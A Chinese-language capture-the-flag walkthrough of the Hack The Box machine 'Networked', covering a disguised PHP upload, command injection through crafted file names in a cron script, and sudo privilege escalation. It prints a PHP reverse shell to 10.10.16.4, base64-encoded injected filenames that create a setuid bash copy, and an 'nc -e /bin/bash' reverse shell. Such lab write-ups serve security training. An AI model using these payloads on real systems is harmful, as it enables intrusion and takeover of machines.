htb Networked walkthrough

news/2025/1/31 3:30:16/文章来源:https://www.cnblogs.com/wssw/p/18694530

nmap扫描只有
22 80 443 端口
443端口访问不了

所以入手点只有80端口了
direarch 扫描网站
image
发现了几个有意思的路径




backup 路径下发现了一个压缩tar包
image
下载下来解压看看内容



发现是网站源码需要代码审计
image
我审计了半天也没发现什么问题



看看wp说是加个gif89a的文件头就可以上传文件
我尝试在upload.php上传了文件shell.php.jpg
image



webshell上传成功
image



但是我非常不理解的是为什么php.jpg 结尾的文件 会被解析成php文件 非常奇怪 这个点我没搞洞



既然能上传webshell我直接上传一个反弹shell的代码

反弹shell
<?php $sock = fsockopen('10.10.16.4', 80);​$descriptorspec = array(​        0 => $sock,​        1 => $sock,​        2 => $sock​);​$process = proc_open('/bin/bash', $descriptorspec, $pipes);​proc_close($process);?>



反弹成功

image




flag应该在guly 的家目录里面
但是我们无权访问 需要提权到guly的身份才行
我们注意到在guly的家目录里面有个crontab文件 应该是个定时任务
image




image
每三分钟运行一次
读一下这个执行的脚本
image
image

脚本源码
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";$files = array();
$files = preg_grep('/^([^.])/', scandir($path));foreach ($files as $key => $value) {$msg='';if ($value == 'index.html') {continue;}#echo "-------------\n";#print "check: $value\n";list ($name,$ext) = getnameCheck($value);$check = check_ip($name,$value);if (!($check[0])) {echo "attack!\n";# todo: attach filefile_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);exec("rm -f $logpath");exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");echo "rm -f $path$value\n";mail($to, $msg, $msg, $headers, "-F$value");}
}?>

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
这个代码可以造成命令注入漏洞 ,因为$value 是文件名 这个文件名我们可以自己创造



首先
echo 'cp /bin/bash /tmp;chmod +s /tmp/bash' | base64
image

然后
touch -- ';echo Y3AgL2Jpbi9iYXNoIC90bXA7Y2htb2QgK3MgL3RtcC9iYXNoCg== | base64 -d | bash'

可以看到文件生成成功
image
但是不知道命令没有执行

我反复试了好多命令最后发现就只有反弹shell才能执行成功
echo 'nc -e /bin/bash 10.10.16.4 8080' | base64
touch '; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjQgODA4MAo= | base64 -d | bash'



反弹成功
image



sudo -l
image

看看这个脚本

点击查看代码
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoFregexp="^[a-zA-Z0-9_\ /-]+$"for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; doecho "interface $var:"read xwhile [[ ! $x =~ $regexp ]]; doecho "wrong input, try again"echo "interface $var:"read xdoneecho $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done/sbin/ifup guly0
不太懂怎么提权的 看看wp

存在命令注入
image

提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/876747.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Janus Pro:DeepSeek 开源革新,多模态 AI 的未来

Janus Pro 是 DeepSeek 开发的一个开源多模态人工智能框架,它通过集成视觉和语言处理能力,提供了高性能的多模态任务处理能力。 在线体验: https://deepseek-januspro.com/ 背景 Janus Pro 于2025年1月发布,是一个开源的多模态AI框架,能够同时处理视觉和语言信息。它采用了…

2025-01-29 闲话

2025-01-29 闲话我尽量不在大年初一整尬的。于是选择了集句?? 最近单曲循环了两首粤语歌。红日 AH.. AH... AH 命运就算颠沛流离 命运就算曲折离奇 命运就算恐吓着你 做人没趣味 别流泪 心酸 更不应舍弃 我愿能一生永远陪伴你 命运就算颠沛流离 命运就算曲折离奇 命运就算恐吓…

Python基础7——模块

1.模块基础知识内置模块:Python内部提供的功能如sys模块、os模块第三方模块:开发者写好,但需要下载后安装使用安装方法:pip install package_nameWindows环境下提前把pip.exe路径添加到环境变量中 升级pip工具:python36 -m pip install --upgrade pip 安装完成后,如果导入…

本地部署大模型openwebui(ollama部署的deepseetR1)联网搜索的一种解决方案

加入搜索引擎的api就行,本文描述openwebui如何设置Google的api联网搜索你的大部分问题都可以通过看官方文档解决.jpg https://docs.openwebui.com/tutorials/integrations/web_search/ 我尝试了serxing,但是卡在最后搜索上.... 使用这个方案建议:如果用的是windows端的docke…

标题给自己加场戏

新年快乐各位 懒得写学期总结 不会起标题了 铁人两项 昨晚今早做的,补一下题解 就是让你求一个图有多少个三元组 那么,当一个点到另一个点经过点双时,点双里的任何一点都可以作为中转点 所以缩点 但缩完点点双内部就不好处理了 所以给他建成圆方树 圆方树可以做到把简单无向…

如何在本地搭建deepseek(深度探索)

要求:需要一台windows10以上版本的电脑 1.安装ollama打开网址: https://ollama.com/按你的需求下载相应版的ollma,我这就下一个windows版的,一路自动安装即可。2.修改一下ollama的模型model安装位置,默认是C盘 (最大版本容量是400G,磁盘够用的可以跳过)(1) Ollama的模型…

他们知道崩溃即将到来

他们知道崩溃即将到来 克利夫伯格亿万富翁们聚集在特朗普的就职典礼——那些将在崩溃后住在封闭社区的人们 高盛的首席信息官表示,在未来一年,处于前沿的公司将开始使用AI代理人,就像他们是员工一样——作为团队成员分配任务去完成。 他还指出,随着AI通过拥有AI大脑的机器人…

Cisco NX-OS System Software - ACI 16.1(1f)F - 适用于 ACI 模式下的 Nexus 9000 系列交换机系统软件

Cisco NX-OS System Software - ACI 16.1(1f)F - 适用于 ACI 模式下的 Nexus 9000 系列交换机系统软件Cisco NX-OS System Software - ACI 16.1(1f)F 适用于 ACI 模式下的 Cisco Nexus 9000 系列交换机系统软件 请访问原文链接:https://sysin.org/blog/cisco-aci-16/ 查看最新…

Cisco APIC 6.1(1f)F - 应用策略基础设施控制器

Cisco APIC 6.1(1f)F - 应用策略基础设施控制器Cisco APIC 6.1(1f)F - 应用策略基础设施控制器 Application Policy Infrastructure Controller (APIC) 请访问原文链接:https://sysin.org/blog/cisco-apic-6/ 查看最新版。原创作品,转载请保留出处。 作者主页:sysin.org思科…

【译】轻松评估 AI 应用程序的质量

原文 | Wendy Breiding 翻译 | 郑子铭 在构建利用 AI 的应用程序时,能够有效地评估 SLM(小型语言模型)或 LLM(大型语言模型)的响应从未如此重要。 评估是指评估 AI 模型(例如 SLM 或 LLM)生成的响应的质量和准确性的过程。这涉及使用各种指标来衡量 AI 生成的响应的相关…

又在折磨自己

不是吕波是滤波过年好,但我最近真的好想死,听说卡尔曼吕波很重要,为了让自己死得快一点来学学卡尔曼吕波,我对我接下来的半个月充满了绝望。 新年第一天就这么丧可不好,振作起来,人活着总要学会开开心心的,然后少管一些不开心的事情,其实别人也并没有很重要对不对,希望…